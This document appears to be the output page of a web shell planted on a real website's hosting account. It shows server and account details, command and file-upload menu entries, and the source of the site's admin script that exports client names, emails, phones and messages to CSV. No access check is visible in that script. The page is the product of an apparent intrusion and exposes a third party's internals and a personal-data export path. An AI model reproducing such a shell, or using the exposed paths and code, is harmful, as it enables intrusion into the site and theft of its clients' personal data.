MMCT TEAM
Server IP : 2a02:4780:11:1017:0:31f1:b895:8  /  Your IP : 216.73.216.163
Web Server : LiteSpeed
System : Linux in-mum-web917.main-hosting.eu 4.18.0-553.37.1.lve.el8.x86_64 #1 SMP Mon Feb 10 22:45:17 UTC 2025 x86_64
User : u837925013 ( 837925013)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u837925013/domains/tech2wizard.com/public_html/admin/export/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u837925013/domains/tech2wizard.com/public_html/admin/export/exportInterest.php
<?php 
 
// Load the database configuration file 
include('../inc/conn.php');
if($_POST['from']!='' && $_POST['to']!=''){
    $from=date('d-m-y', strtotime($_POST['from']));
    $to=date('d-m-y', strtotime($_POST['to'])); 
// Fetch records from database 
$query = $con->query("SELECT * FROM client_interest WHERE date between '".$from."' and '".$to."' ORDER BY id ASC"); 
 
if($query->num_rows > 0){ 
    $delimiter = ","; 
    $filename = "client-interest-data_" . date('Y-m-d') . ".csv"; 
     
    // Create a file pointer 
    $f = fopen('php://memory', 'w'); 
     
    // Set column headers 
    $fields = array('ID', 'NAME', 'EMAIL', 'PHONE', 'CITY', 'MESSAGE', 'DATE'); 
    fputcsv($f, $fields, $delimiter); 
     
    $i=0; 
    while($row = $query->fetch_assoc()){ $i++;
        $status = ($row['status'] == 1)?'Active':'Inactive'; 
        $lineData = array($i, $row['name'], $row['email'], $row['phone'], $row['city'], $row['message'], date('M d, Y', strtotime($row['date']))); 
        fputcsv($f, $lineData, $delimiter); 
    } 
     
    // Move back to beginning of file 
    fseek($f, 0); 
     
    // Set headers to download file rather than displayed 
    header('Content-Type: text/csv'); 
    header('Content-Disposition: attachment; filename="' . $filename . '";'); 
     
    //output all remaining data on a file pointer 
    fpassthru($f); 
} 
else{
    echo "<script type='text/javascript'>alert('No Record Found!');window.location=\"../contact-details.php\";</script>";
} 
exit; 
}else{
$query = $con->query("SELECT * FROM client_interest ORDER BY id ASC"); 
 
if($query->num_rows > 0){ 
    $delimiter = ","; 
    $filename = "client-interest-data_" . date('Y-m-d') . ".csv"; 
     
    // Create a file pointer 
    $f = fopen('php://memory', 'w'); 
     
    // Set column headers 
    $fields = array('ID', 'NAME', 'EMAIL', 'PHONE', 'CITY', 'MESSAGE', 'DATE'); 
    fputcsv($f, $fields, $delimiter); 
     
    $i=0; 
    while($row = $query->fetch_assoc()){ $i++;
        $status = ($row['status'] == 1)?'Active':'Inactive'; 
        $lineData = array($i, $row['name'], $row['email'], $row['phone'], $row['city'], $row['message'], date('M d, Y', strtotime($row['date']))); 
        fputcsv($f, $lineData, $delimiter); 
    } 
     
    // Move back to beginning of file 
    fseek($f, 0); 
     
    // Set headers to download file rather than displayed 
    header('Content-Type: text/csv'); 
    header('Content-Disposition: attachment; filename="' . $filename . '";'); 
     
    //output all remaining data on a file pointer 
    fpassthru($f); 
}else{
    echo "<script type='text/javascript'>alert('No Record Found!');window.location=\"../contact-details.php\";</script>";
} 
exit;
}
?>

MMCT - 2023